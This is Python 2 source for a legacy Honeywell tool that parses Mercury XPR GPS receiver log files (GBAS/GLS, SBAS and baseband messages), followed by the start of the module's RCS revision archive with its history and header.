self.localizer_deviation_angular = safe_float(self[13])
self.glideslope_deviation_angular = safe_float(self[14])
self.distance_to_runway_datum_point = safe_float(self[15])
self.selected_glide_path_angle = safe_float(self[16])
self.threshold_crossing_height = safe_float(self[17])
self.ltp_to_garp_distance = safe_float(self[18])
self.gls_channel_number = int(self[19])
self.selected_runway_magnetic_heading = safe_float(self[19])
def init36(self): # deviation status
self.validity = int(self[0])
self.time_mark_sequence_number = int(self[1])
self.route_indicator = int(self[2])
self.ssid = int(self[3])
self.full_scale_deviation = int(self[4])
self.protection_level_source = int(self[5])
self.runway_letter = int(self[6])
self.runway_number = int(self[7])
self.time_since_last_valid_type_1_message = int(self[8])
self.number_of_corrections_used = int(self[9])
self.number_of_corrections_received = int(self[10])
self.number_of_ranging_sources_tracked = int(self[11])
self.bias_approach_monitor_status = int(self[12])
self.precision_approach_region = int(self[13])
self.gbas_message_id_received = int(self[14])
self.gbas_distance_status = int(self[15])
self.vertical_guidance_region_status = int(self[16])
self.type_1_message_latency = int(self[17])
self.type_1_message_time_out = int(self[18])
self.gls_vertical_performance_alert = int(self[19])
self.gls_lateral_performance_alert = int(self[20])
self.position_status_for_gls = int(self[21])
self.ground_station_status = int(self[22])
self.vertical_approach_status = int(self[23])
self.lateral_approach_status = int(self[24])
self.number_of_gbas_messages_received = int(self[25])
self.number_of_valid_type_1_messages_received = int(self[26])
self.number_of_gbas_message_crc_errors_detected = int(self[27])
self.approach_performance_designator = int(self[28])
self.above_threshold_crossing_height = int(self[29])
self.approach_monitor = int(self[30])
self.vertical_full_scale_deviation = int(self[31])
def init37(self): # vertical integrity prediction result
self.prediction_sequence_number = int(self[0])
self.status = int(self[1])
self.vil_minus_15 = safe_float(self[2])
self.vil_minus_10 = safe_float(self[3])
self.vil_minus_5 = safe_float(self[4])
self.vil_0 = safe_float(self[5])
self.vil_plus_5 = safe_float(self[6])
self.vil_plus_10 = safe_float(self[7])
self.vil_plus_15 = safe_float(self[8])
def init38(self): # GLS ranging source status and IOD
self.time_mark_sequence_number = int(self[0])
self.number_of_measurements = int(self[1])
self.measurements = [GlsMeasurement(self.line_num, measurement) for measurement in self.get_data_list()]
def init39(self): # GNSS needs configured
self.required_configuration = int(self[0], 16)
def init3A(self): # channel status
self.time_mark_sequence_number = int(self[0])
self.number_of_channels_in_receiver = int(self[1])
self.number_of_channels_in_this_packet = int(self[2])
self.channel_stat = [ChannelStatus3A(self.line_num, status) for status in self.get_data_list()]
assert(len(self.channel_stat) == self.number_of_channels_in_this_packet)
def init3B(self): # measurements
self.time_mark_sequence_number = int(self[0])
self.total_number_of_measurements = int(self[1])
self.number_of_measurements_in_this_packet = int(self[2])
self.measurements = [Measurement3B(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements) == self.number_of_measurements_in_this_packet)
def init3F(self): # 30s measurements
self.time_mark_sequence_number = int(self[0])
self.msgtype11 = int(self[1])
self.total_number_of_30measurements = int(self[2])
self.number_of_30measurements_in_this_packet = int(self[3])
self.measurements30 = [Measurement30s3F(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements30) == self.number_of_30measurements_in_this_packet)
def init3C(self): #
self.number_of_vdb_packets_received = int(self[0])
self.number_of_vdb_with_errors = int(self[1])
def init41(self): #
self.prediction_sequence_number = int(self[0])
self.time_of_prediction_year = int(self[1])
self.time_of_prediction_month = int(self[2])
self.time_of_prediction_day = int(self[3])
self.time_of_prediction_hour = int(self[4])
self.time_of_prediction_min = int(self[5])
self.prediction_latitude = safe_float(self[6])
self.prediction_longitude = safe_float(self[7])
self.prediction_altitude = safe_float(self[8])
self.deselection_mask = [int(t) for t in self[9:41]]
self.altitude_aiding_available = int(self[42])
self.reserved = [int(t) for t in self[43:]]
def init47(self): # VDB data broadcast
# all data for packet 0x47 is in hex
self.station_slot_identifier = int(self[0], 16)
self.packet_sequence_number = int(self[1], 16)
self.packets_in_message = int(self[2], 16)
data = [chr(int(x, 16)) for x in self[3:]] # make a list of data
self.data_bytes = ''.join(data) # convert it to a string
def init49(self): #
self.channel_selected = int(self[0])
self.channel_number = int(self[1])
def init4C(self): #
self.test = int(self[0])
def init4D(self): #
self.sequence_number = int(self[0])
def init50(self): # baseband event
self.event = int(self[0])
self.tick_ms = int(self[1])
self.ch_no = int(self[2])
self.prn = int(self[3])
self.freq = safe_float(self[4])
self.phase = int(self[5])
self.mag = int(self[6])
self.info1 = int(self[7])
self.info2 = int(self[8])
def init51(self): # baseband status
self.ch_no = int(self[0])
self.freq_Hz = int(self[1])
self.code_phase_chips = int(self[2])
def init52(self): # PVT task times
self.system_state = int(self[0])
self.solution_quality = int(self[1])
self.times = [int(t) for t in self[2:]]
def init53(self): # clock bias
self.clock_bias_sec = safe_float(self[0])
self.tick_ms = int(self[1])
def init54(self): # code phase adjustment
self.tick_ms = int(self[0])
self.ch_no = int(self[1])
self.error = int(self[2])
self.locked = int(self[3])
self.adjustment = int(self[4])
self.gain = safe_float(self[5])
self.threshold = safe_float(self[6])
self.costas_lock_ind = int(self[7])
def init55(self): # sigma noise
self.prn = int(self[0])
self.sigma_noise_m = safe_float(self[1]) # gpsbin2txt does sqrt
def init57(self): # all task times
self.lisr_time = int(self[0])
self.idle_time = int(self[1])
self.times = [int(t) for t in self[2:]]
""" This packet needs further examination, since text is merged with data in the log file
def init58(self): #
self.prn =
self.tag
self.n
if (self.n <= 63) ( self.data = [int(t) for t in self[X:X+self.n]])
def init59(self): seems to be the same as 58
"""
def init5A(self): # timing analysis
self.event_ID = int(self[0])
self.event_count = int(self[1])
self.min_event_duration_s = int(self[2]) * 1e-6 # convert from microseconds to s
self.max_event_duration_s = int(self[3]) * 1e-6 # likewise
def init5B(self):
self.tick = int(self[0])
self.tow = safe_float(self[1])
def init5C(self):
self.tick = int(self[0])
self.prn = int(self[1])
self.type = int(self[2])
self.correction = safe_float(self[3])
self.differential_correction = safe_float(self[4])
self.sv_clock_correction = safe_float(self[5])
self.iono_correction = safe_float(self[6])
self.tropo_correction = safe_float(self[7])
def init5F(self):
self.validity = int(self[0])
self.time_mark_sequence_number = self[1]
self.GBASD_30s_smoothed_latitude = safe_float(self[2])
self.GBASD_30s_smoothed_longitude = safe_float(self[3])
self.GBASD_30s_smoothed_altitude = safe_float(self[4])
self.GBASD_100s_smoothed_latitude = safe_float(self[5])
self.GBASD_100s_smoothed_longitude = safe_float(self[6])
self.GBASD_100s_smoothed_altitude = safe_float(self[7])
self.D_lat = safe_float(self[8])
self.D_vert = safe_float(self[9])
self.Selected_Approach_Service_Type = int(self[10])
self.Active_Approach_Service_Type = int(self[11])
self.Fault_Detected_GBAS = int(self[12])
self.OnGround_Slow_Discrete = int(self[13])
def init60(self): # satellite position
self.prn = int(self[0])
self.sv_x = safe_float(self[1])
self.sv_y = safe_float(self[2])
self.sv_z = safe_float(self[3])
def init61(self): # SBAS message
self.prn = int(self[0])
self.msg_id = int(self[1])
self.data = [int(x) for x in self[1:8]] #TODO: does not match text_converter.cpp
def init64(self): # NAV FAS parameters
self.m_GBAS_ID = self[0] #TODO this does not appear correct see text_converter.cpp
self.m_SSID = int(self[1])
self.m_data_length = int(self[2])
self.m_operation_type = int(self[3])
self.m_SBAS = int(self[4])
self.m_airport_ID = self[5] #TODO this does not appear correct see text_converter.cpp
self.m_runway_number = int(self[6])
self.m_runway_letter = int(self[7])
self.m_appr_perf_designator = int(self[8])
self.m_route_indicator = int(self[9])
self.m_RPDS = int(self[10])
self.m_ref_path_ID = self[11] #TODO this does not appear correct see text_converter.cpp
self.m_LTP_lat_deg = safe_float(self[12])
self.m_LTP_lon_deg = safe_float(self[13])
self.m_LTP_height_m = safe_float(self[14])
self.m_delta_FPAP_lat_deg = safe_float(self[15])
self.m_delta_FPAP_lon_deg = safe_float(self[16])
self.m_TCH_m = safe_float(self[17])
self.m_TCH_ft = safe_float(self[18])
self.m_TCH_unit_selector = int(self[19])
self.m_GPA_deg = safe_float(self[20])
self.m_GPA_rad = safe_float(self[21])
self.m_CW_TH_m = safe_float(self[22])
self.m_delta_length_offset_m = int(self[23])
self.m_delta_length_offset_valid = int(self[24]) #TODO this does not appear correct see text_converter.cpp
self.m_crc = self[25]
self.m_fas_val_m = safe_float(self[26])
self.m_fas_val_valid = self[27]
self.m_fas_lal_m = safe_float(self[28])
self.m_fas_lal_valid = self[29]
def init65(self): # NAV unit vector
self.u_rw_x = safe_float(self[0])
self.u_rw_y = safe_float(self[1])
self.u_rw_z = safe_float(self[2])
self.u_ctk_x = safe_float(self[3])
self.u_ctk_y = safe_float(self[4])
self.u_ctk_z = safe_float(self[5])
self.u_vrt_x = safe_float(self[6])
self.u_vrt_y = safe_float(self[7])
self.u_vrt_z = safe_float(self[8])
self.u_GARP_x = safe_float(self[9])
self.u_GARP_y = safe_float(self[10])
self.u_GARP_z = safe_float(self[11])
self.u_GPIP_x = safe_float(self[12])
self.u_GPIP_y = safe_float(self[13])
self.u_GPIP_z = safe_float(self[14])
def init66(self): # guidance reference position
self.is_pvt_augmented = int(self[0])
self.validity = int(self[1])
self.tick_ms = int(self[2])
self.GRP_x = safe_float(self[3])
self.GRP_y = safe_float(self[4])
self.GRP_z = safe_float(self[5])
def init67(self): # primary corrections
self.prn = int(self[0])
self.primary_corrections = int(self[1])
def init68(self): # UDREI
self.prn = int(self[0])
self.udrei = int(self[1])
def init69(self): # commanded bit test completion
self.BIT_commanded_result = int(self[0])
self.completion_time = int(self[1])
def init6A(self): # BIT event status
self.req_id = int(self[0])
self.p_status = int(self[1])
def init6B(self): # baseband code gain change
self.ch_no = int(self[0])
self.win_sz = int(self[1])
self.locked = int(self[2])
self.avg_abs_error = safe_float(self[3])
self.gain = safe_float(self[4])
self.threshold = safe_float(self[5])
self.tick_ms = int(self[6])
#def init6C(self): #
def init6D(self): #
self.yaw = safe_float(self[0])
self.pitch = safe_float(self[1])
self.roll = safe_float(self[2])
def init70(self): # RXC visibility record
self.num_records = int(self[0])
self.index = int(self[1])
self.prn = int(self[2])
self.elevation = int(self[3])
self.priority = int(self[4])
self.doppler = int(self[5])
self.doppler_uncertainty = int(self[6])
self.code_phase = int(self[7])
self.code_phase_uncertainty = int(self[8])
self.code_phase_rate_cps = int(self[9])
def init71(self): # measurement tick
self.tick = int(self[0])
def init72(self): # timed event
self.tick_ms = int(self[0])
self.event_id = int(self[1])
self.info1 = int(self[2])
self.info2 = int(self[3])
self.info3 = int(self[4])
def init73(self): # altimeter type
self.tick_ms = int(self[0])
self.altimeter_type = int(self[1])
self.input_value_m = safe_float(self[2])
self.final_value_m = safe_float(self[3])
self.sigma_m = safe_float(self[4])
def init74(self): # bias approach monitor values
self.tick_ms = int(self[0])
self.approach_VFOM = safe_float(self[1])
self.Bv_app_max = safe_float(self[2])
def init75(self): #
self.station_selected = int(self[0])
self.index = int(self[1])
self.char1 = int(self[2])
self.char2 = int(self[3])
self.char3 = int(self[4])
self.char4 = int(self[5])
def init76(self): #
self.tick = int(self[0])
self.is_pvt_corrected = int(self[1])
self.ege = safe_float(self[2])
self.egve = safe_float(self[3])
def init77(self): #
self.tick = int(self[0])
self.demotion_HPL = safe_float(self[1])
self.demotion_VPL = safe_float(self[2])
self.demotion_HPL_indicator = int(self[3])
def init78(self): # PVT Residuals
self.prn = int(self[0])
self.residual = safe_float(self[1])
#def init79(self): #
#def init7A(self): #
def init80(self): # timestamp
self.log_time_sec = safe_float(self[0])
def init81(self): # log start time
self.month = int(self[0])
self.day = int(self[1])
self.year = int(self[2])
self.hour = int(self[3])
self.minute = int(self[4])
self.second = safe_float(self[5])
def init82(self): # smoothing filter data
self.tick = int(self[0])
self.prn = int(self[1])
self.raw_pr = safe_float(self[2])
self.delta_pr = safe_float(self[3])
self.smooth_pr = safe_float(self[4])
self.divg = safe_float(self[5])
def init83(self): # SA mode
self.prn = int(self[0])
self.sa_mode = int(self[1])
def init84(self): # WAAS health
self.waas_health = int(self[0])
self.prn = int(self[1])
def init85(self): # WAAS DUDRE
self.prn = int(self[0])
self.dudre = safe_float(self[1])
def init86(self): # corrections
self.prn = init(self[0]) #TODO does not match text_converter.cpp
self.corrections = safe_float(self[1]) #TODO does not match text_converter.cpp
def init87(self): # CRC validity
self.prn = int(self[0])
self.iode = int(self[1])
self.crc = int(self[2])
def init88(self): # ephemeris validity
self.prn = int(self[0])
self.sfno = int(self[1])
self.valid = int(self[2])
def init89(self): # iono validity
self.prn = int(self[0])
self.valid = int(self[1])
def init8A(self): #
self.prn = int(self[0])
self.tick_ms = int(self[1])
self.aug_mode = int(self[2])
def init90(self): #
self.prn = int(self[0])
self.gps_iode = int(self[1])
self.sbas_iod = int(self[2])
def init91(self): #
self.mask = int(self[0])
self.GNSS_ID = int(self[1])
self.GLS_ID = int(self[2])
self.offset_x = safe_float(self[3])
self.offset_y = safe_float(self[4])
self.offset_z = safe_float(self[5])
self.region_0 = int(self[6])
self.region_1 = int(self[7])
self.region_2 = int(self[8])
self.region_3 = int(self[9])
self.region_4 = int(self[10])
self.number_overrides = int(self[11])
def init92(self): #
self.prn = int(self[0])
self.quality = int(self[1])
def init93(self): #
self.prn = int(self[0])
self.time = int(self[1])
self.mode = int(self[2])
def init94(self): #
self.poscnt = int(self[0])
self.timecnt = int(self[1])
self.FAScnt = int(self[2])
self.D2Tcnt = int(self[3])
self.ldevscnt = int(self[4])
self.vdevscnt = int(self[5])
def init95(self): # SSS Visibility Record
self.prn = int(self[0])
self.index = int(self[1])
self.elevation = int(self[2])
self.azimuth = int(self[3])
self.score = int(self[4])
self.unknown_state = int(self[4])
def init96(self): #
self.prn = int(self[0])
self.sbas_prn = int(self[1])
self.sbas_provider_id = int(self[2])
self.health = int(self[3])
#def init97(self): #
#def init98(self): #
def init99(self): # SIM Instrumentation
self.fault_type = safe_float(self[0])
self.source = safe_float(self[1])
self.payload = int(self[2])
self.repeat_count = int(self[3])
class Parser:
"""Implements a parser class for Mercury XPR log files as converted to
text by gpsbin2txt."""
msg_re = re.compile(r'(\d+)\s*(\d+)\s*MSG(.*?)\s+(.*)')
second = 0
def __init__(self, verbose=True):
"""Initializes the object. This function must be called at the
beginning of the __init__ functions of derived classes.
ids_to_parse is a list of messages to be parsed; if empty (the default),
all messages will be parsed.
verbose determines whether various status messages will be printed
when parsing."""
self.line_num = None
self.abort_parse = False
self.fname = ''
self.fnames = []
self.ids_to_parse = {} # parse all
self.init_stats()
self.verbose = verbose
def init_stats(self):
"Initialize parsing statistics"
self.num_bytes = 0
self.num_parsed = 0
self.num_handled = 0
def main(self, title='', fname=''):
"Implements a simple main function for use by derived classes"
if title:
print title
print
self.get_parse_ids_from_handlers()
if fname:
fname = self.convert_log_file(fname)
self.parse(fname)
else:
self.parse_command_line_fnames()
self.at_main_end()
def at_main_end(self):
"""Gets called at the end of main. Prints a summary of parsed data
timespan, but can be overridden for a custom summary"""
hours = int(self.second / 3600.0)
minutes = round((self.second % 3600.0) / 60)
print 'Parsed data spans %i second%s = %i hour%s and %i minute%s' % \
(self.second, plural(self.second), hours, plural(hours), minutes,
plural(minutes))
def set_ids_to_parse(self, ids=[]):
"Set the IDs to be parsed."
self.ids_to_parse = {}
for id_ in ids:
self.ids_to_parse[id_] = True
def get_handler_ids(self):
handler_ids = []
for name in dir(self):
if name.startswith('handle') and len(name) == 8:
id_ = name[-2:]
int(id_, 16) # raises value error if id_ isn't hex
handler_ids.append(id_)
return handler_ids
def get_parse_ids_from_handlers(self):
self.set_ids_to_parse(self.get_handler_ids())
def get_command_line_fnames(self):
"""Returns a list of files derived from patterns supplied on the
command line. If none are found, the list contains the newest
*.gps file"""
fnames = []
for arg in sys.argv[1:]:
fnames += glob.glob(arg)
if not fnames:
if self.verbose:
print 'No files were found via command-line arguments. Using newest *.gps.'
fnames = glob.glob('*.gps')
fnames.sort(lambda x, y: cmp(os.path.getmtime(x), os.path.getmtime(y)))
fnames = fnames[-1:]
return fnames
def convert_log_files(self, fnames):
"""Converts binary log fnames to text log fnames and converts the binary log files
to text via gpsbin2txt, if necessary. Returns the list of text fnames."""
txt_fnames = []
for fname in fnames:
(fname_root, fname_ext) = os.path.splitext(fname)
if fname_ext.lower() in ('.gps', '.bin'):
txt_fname = fname_root + '.txt'
else:
txt_fname = fname # file is assumed to be text
if os.path.exists(txt_fname):
try:
if os.path.getmtime(txt_fname) >= os.path.getmtime(fname):
txt_fnames.append(txt_fname)
continue # no need to convert
except OSError:
txt_fnames.append(txt_fname)
continue # bin file does not exist
# convert the binary file to text via gpsbin2txt
if self.verbose:
print 'Converting', fname, 'to', txt_fname
if os.system('gpsbin2txt %s %s 3' % (fname, txt_fname)) == 0:
txt_fnames.append(txt_fname)
return txt_fnames
def convert_log_file(self, fname):
return self.convert_log_files([fname])[0]
def parse_command_line_fnames(self):
"""Parses all log files whose names are provided on the command line,
or parses all available log files if no command-line arguments have
been provided."""
self.fnames = self.convert_log_files(self.get_command_line_fnames())
for fname in self.fnames:
self.parse(fname)
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
return False # error was not fixed
def parse_msg_lines(self, lines):
m = self.msg_re.search(lines[0])
if not m:
return
self.num_parsed += 1
try:
id_ = m.group(3)
if not self.ids_to_parse or self.ids_to_parse.has_key(id_):
handler_name = 'handle' + id_
self.second = int(m.group(2))
try:
msg = Msg(lines, self.line_num, m.group(1), id_, m.group(4),
self.second)
except Exception, err:
if not self.handle_parse_error(err, self.line_num, lines[0]):
return
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
self.num_handled += 1
else:
self.handle(msg)
except (Error, AssertionError), err:
msg = getattr(err, 'value', '')
print '%s Error at line number %i:' % (err, self.line_num)
print lines[0]
sys.exit(1)
def parse(self, fname):
"""Parses a single log file"""
if self.verbose:
print 'Parsing', fname
self.abort_parse = False
self.fname = fname
self.line_num = 0
msg_lines = ['']
f = open(self.fname)
for line in f:
self.num_bytes += len(line)
if line[0] == ' ':
msg_lines.append(line)
else:
self.parse_msg_lines(msg_lines)
msg_lines = [line]
if self.abort_parse:
if self.verbose:
print 'Parsing of %s aborted at line %i, sequence %s.' % \
(self.fname, self.line_num, line.split()[0])
break
self.line_num += 1
if msg_lines:
self.parse_msg_lines(msg_lines)
def handle(self, msg):
"""default handler to be overridden by derived class: handles all
packets which don't have a handleXX function. note: do not call
get_parse_ids_from_handlers when using this function (otherwise,
unhandled packets will never be parsed)"""
pass
if __name__ == '__main__':
parser = Parser()
parser.main('xpr_log')
<file_sep>/rcs/xpr_log.py
head 1.58;
branch ;
access ;
symbols 2PXRFS1:1.51 PVTSE_tests:1.51 HT_0113:1.51 TRR1:1.51 SCR2806:1.41
HTPR%20pracc:1.15;
locks ; strict;
comment @@;
1.58
date 2013.01.02.17.05.52; author VigneshKrishnan; state In_Progress;
branches ;
next 1.57;
1.57
date 2012.05.16.20.18.42; author VigneshKrishnan; state In_Progress;
branches ;
next 1.56;
1.56
date 2012.05.09.14.32.19; author Ashita.Rastogi; state In_Progress;
branches ;
next 1.55;
1.55
date 2012.03.22.19.33.10; author VigneshKrishnan; state In_Progress;
branches ;
next 1.54;
1.54
date 2011.10.24.18.13.15; author Ashita.Rastogi; state In_Progress;
branches ;
next 1.53;
1.53
date 2011.07.26.21.19.58; author VigneshKrishnan; state InProgress;
branches ;
next 1.52;
1.52
date 2010.06.18.20.47.51; author John.Savoy; state In_process;
branches ;
next 1.51;
1.51
date 2009.05.05.20.00.21; author John.Savoy; state Exp;
branches ;
next 1.50;
1.50
date 2008.11.12.20.41.48; author John.Savoy; state Exp;
branches ;
next 1.49;
1.49
date 2008.10.06.15.59.09; author Zoltan.Gothard; state In_Progress;
branches ;
next 1.48;
1.48
date 2008.06.12.14.09.26; author Zoltan.Gothard; state In_Progress;
branches ;
next 1.47;
1.47
date 2008.06.10.11.35.38; author Zoltan.Gothard; state In_Progress;
branches ;
next 1.46;
1.46
date 2008.05.09.12.13.15; author Zoltan.Gothard; state In_Progress;
branches ;
next 1.45;
1.45
date 2008.05.07.22.57.33; author John.Savoy; state Exp;
branches ;
next 1.44;
1.44
date 2008.05.02.12.53.01; author John.Savoy; state Exp;
branches ;
next 1.43;
1.43
date 2008.02.18.15.07.33; author Grant.Griffin; state In_Progress;
branches ;
next 1.42;
1.42
date 2008.02.14.20.20.45; author Grant.Griffin; state In_Progress;
branches ;
next 1.41;
1.41
date 2008.02.13.23.08.09; author Hui.Zhao; state In_Progress;
branches ;
next 1.40;
1.40
date 2008.02.11.21.23.27; author Grant.Griffin; state In_Progress;
branches ;
next 1.39;
1.39
date 2008.01.18.16.00.37; author Grant.Griffin; state In_Progress;
branches ;
next 1.38;
1.38
date 2007.12.13.19.47.50; author Grant.Griffin; state In_Progress;
branches ;
next 1.37;
1.37
date 2007.11.07.19.03.59; author Grant.Griffin; state In_Progress;
branches ;
next 1.36;
1.36
date 2007.10.30.20.13.45; author Grant.Griffin; state In_Progress;
branches ;
next 1.35;
1.35
date 2007.09.25.17.13.09; author Grant.Griffin; state In_Progress;
branches ;
next 1.34;
1.34
date 2007.09.14.17.02.53; author Grant.Griffin; state In_Progress;
branches ;
next 1.33;
1.33
date 2007.09.06.14.23.27; author Grant.Griffin; state In_Progress;
branches ;
next 1.32;
1.32
date 2007.07.06.15.02.26; author Grant.Griffin; state In_Progress;
branches ;
next 1.31;
1.31
date 2007.06.15.22.14.23; author Grant.Griffin; state In_Progress;
branches ;
next 1.30;
1.30
date 2007.06.15.14.04.41; author Grant.Griffin; state In_Progress;
branches 1.30.1.1;
next 1.29;
1.29
date 2007.05.30.21.23.18; author Grant.Griffin; state In_Progress;
branches ;
next 1.28;
1.28
date 2007.05.14.15.11.29; author Grant.Griffin; state In_Progress;
branches ;
next 1.27;
1.27
date 2007.02.08.21.06.09; author Grant.Griffin; state In_Progress;
branches ;
next 1.26;
1.26
date 2006.09.19.16.33.04; author griffin_g; state In_Progress;
branches ;
next 1.25;
1.25
date 2006.04.28.20.20.55; author griffin_g; state In_Progress;
branches ;
next 1.24;
1.24
date 2006.04.06.15.57.49; author griffin_g; state In_Progress;
branches ;
next 1.23;
1.23
date 2006.01.05.20.31.33; author griffin_g; state In_Progress;
branches ;
next 1.22;
1.22
date 2005.10.06.16.38.17; author griffin_g; state In_Progress;
branches ;
next 1.21;
1.21
date 2005.08.12.20.52.27; author griffin_g; state In_Progress;
branches ;
next 1.20;
1.20
date 2005.08.12.20.30.22; author griffin_g; state In_Progress;
branches ;
next 1.19;
1.19
date 2005.05.17.15.12.51; author griffin_g; state In_Progress;
branches ;
next 1.18;
1.18
date 2005.05.11.19.24.42; author griffin_g; state In_Progress;
branches ;
next 1.17;
1.17
date 2005.05.09.16.05.40; author griffin_g; state In_Progress;
branches ;
next 1.16;
1.16
date 2005.05.06.16.27.08; author griffin_g; state In_Progress;
branches ;
next 1.15;
1.15
date 2005.04.01.22.08.50; author griffin_g; state In_Progress;
branches ;
next 1.14;
1.14
date 2005.03.09.19.27.45; author griffin_g; state In_Progress;
branches ;
next 1.13;
1.13
date 2005.02.17.21.45.24; author griffin_g; state In_Progress;
branches ;
next 1.12;
1.12
date 2005.02.04.14.57.40; author griffin_g; state In_Progress;
branches ;
next 1.11;
1.11
date 2005.01.24.19.51.21; author griffin_g; state In_Progress;
branches ;
next 1.10;
1.10
date 2004.12.16.16.51.55; author griffin_g; state In_Progress;
branches ;
next 1.9;
1.9
date 2004.12.01.15.37.25; author griffin_g; state In_Progress;
branches ;
next 1.8;
1.8
date 2004.11.22.22.57.58; author griffin_g; state In_Progress;
branches ;
next 1.7;
1.7
date 2004.11.15.17.21.12; author griffin_g; state In_Progress;
branches ;
next 1.6;
1.6
date 2004.11.11.22.57.07; author griffin_g; state In_Progress;
branches ;
next 1.5;
1.5
date 2004.10.28.15.30.23; author griffin_g; state In_Progress;
branches ;
next 1.4;
1.4
date 2004.10.25.19.39.05; author griffin_g; state In_Progress;
branches ;
next 1.3;
1.3
date 2004.10.22.21.59.02; author griffin_g; state In_Progress;
branches ;
next 1.2;
1.2
date 2004.10.13.15.29.15; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.09.10.17.06.07; author griffin_g; state In_Progress;
branches ;
next ;
1.30.1.1
date 2007.06.20.19.36.22; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.58
log
@Added mods to deal with modifications to 3f@
text
@""" xpr_log.py: This module provides a framework <tee-hee> to process XPR log
files in the text format produced by gpsbin2txt.
Copyright 2004-2012, Honeywell International Inc.
To use this module:
1) Add support for any messages you need to the Msg class below.
2) Derive your own parser class from Parser.
3) Override its functions as needed.
4) Add 'handleXX' functions of your own to handle whatever messages you need.
(Note: XX must be uppercase, e.g. '2D', in order to match gpsbin2txt format.)
5) Instantiate the class and call one of the 'parse' functions, either directly
of via your __init__ function.
"""
__version__ = '$Revision: 1.57 $'
import sys, re, glob, os.path
def safe_float(x):
try:
return float(x)
except ValueError:
return None
def plural(ii):
if ii == 1:
return ''
else:
return 's'
class Error(Exception):
def __init__(self, value=''):
Exception.__init__(self, value)
self.value = value
class DataList(list):
"""Represents a list of packet data"""
def __init__(self, line_num, text):
self.line_num = line_num
self.text = text
self += text.split()
def __repr__(self):
return ' '.join(self)
def __str__(self):
return text
class ChannelStatus(DataList):
"""Represents a single channel status from packet 0x1b. (Note that this
uses the semantics of packet 0x30 rather than 0x1b.)"""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.prn = int(self[0])
self.health = int(self[1])
self.elevation = float(self[2])
self.carrier_to_noise_ratio = int(self[3])
self.tracking = int(self[4])
class VisibilityRecord(DataList):
"""Represents a single visibility record from packet 0x2a."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.age = int(self[0])
self.status = int(self[1])
self.nonp = int(self[2])
self.opt = int(self[3])
self.eph = int(self[4])
self.prn = int(self[5])
self.elev = int(self[6])
self.pen_cnt = int(self[7])
class Measurement(DataList):
"""Represents a single satellite measurement from packet 0x30."""
state_codes = { 'Idle':0, 'ACQ.':1, 'SYN.':2, 'TRK.':3, 'DATA':4 }
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.validity_mask = int(self[1], 16) # hex
self.prn = int(self[2])
self.state = self[3]
self.health = self[4]
self.in_use = int(self[5])
self.azimuth = float(self[6])
self.elevation = float(self[7])
self.carrier_to_noise_ratio = int(self[8])
self.pseudorange = float(self[9])
self.pseudorange_sigma = float(self[10])
self.range_rate = float(self[11])
self.delta_carrier_phase = float(self[12])
self.lock_count = int(self[13])
def __str__(self):
return '%2i %2X %2i %4s %4s %i %5.1f %4.1f %2i %0.1f %0.1f %0.1f %0.1f %4i' % \
(self.hardware_channel, self.validity_mask, self.prn,
self.state, self.health, self.in_use, self.azimuth,
self.elevation, self.carrier_to_noise_ratio,
self.pseudorange, self.pseudorange_sigma, self.range_rate,
self.delta_carrier_phase, self.lock_count)
def is_tracking(self):
return self.state_codes[self.state] >= 2
class GlsMeasurement(DataList):
"""Represents a single GLS measurement from packet 0x38."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.prn = int(self[0])
self.iod_next_available = int(self[1])
self.iod_currently_used = int(self[2])
self.correction_status = int(self[3], 16)
class ChannelStatus3A(DataList):
"""Represents a single set of channel status data from packet 0x3A."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.state = int(self[2])
self.lock_count = int(self[3])
self.health = int(self[4], 16)
self.carrier_to_noise_ratio = safe_float(self[5])
self.azimuth = safe_float(self[6])
self.elevation = safe_float(self[7])
def __str__(self):
return '%i %i %i %i %i %f %f %f' % \
(self.hardware_channel, self.prn, self.state, self.lock_count,
self.health, self.carrier_to_noise_ratio,
self.azimuth, self.elevation)
class Measurement3B(DataList):
"""Represents a single satellite measurement from packet 0x3B."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.validity_and_in_use_mask = int(self[2], 16)
self.sv_x = safe_float(self[3])
self.sv_y = safe_float(self[4])
self.sv_z = safe_float(self[5])
self.pseudorange = safe_float(self[6])
self.pseudorange_sigma = safe_float(self[7])
self.range_rate = safe_float(self[8])
self.delta_carrier_phase = safe_float(self[9])
self.pseudorange_sigma_ob = safe_float(self[10])
def __str__(self):
return '%i %i %i %f %f %f %f %f %f %f %f' % \
(self.hardware_channel, self.prn, self.validity_and_in_use_mask,
self.sv_x, self.sv_y, self.sv_z, self.pseudorange,
self.pseudorange_sigma, self.range_rate,
self.delta_carrier_phase, self.pseudorange_sigma_ob)
class Measurement30s3F(DataList):
"""Represents a single satellite measurement from packet 0x3B."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.validity_and_in_use_mask = int(self[2], 16)
self.PR_30 = safe_float(self[3])
self.sigma_30 = safe_float(self[4])
self.sigma_ob = safe_float(self[5])
self.sigma_pr_gnd = safe_float(self[6])
self.sigma_pr_gnd_100 = safe_float(self[7])
self.sigma_pr_gnd_30 = safe_float(self[8])
self.s_appr_lat = safe_float(self[9])
self.s_appr_vert = safe_float(self[10])
self.correction_status = int(self[11], 16)
self.decorr = safe_float(self[12])
self.decorr_D = safe_float(self[13])
self.range_residual = safe_float(self[14])
self.CCD_out = safe_float(self[15])
self.sigma_D = safe_float(self[16])
def __str__(self):
return '%i %i %i %f %f %f %f %f %f %f %f %i %f %f %f %f %f %f %f' % \
(self.hardware_channel, self.prn, self.validity_and_in_use_mask,
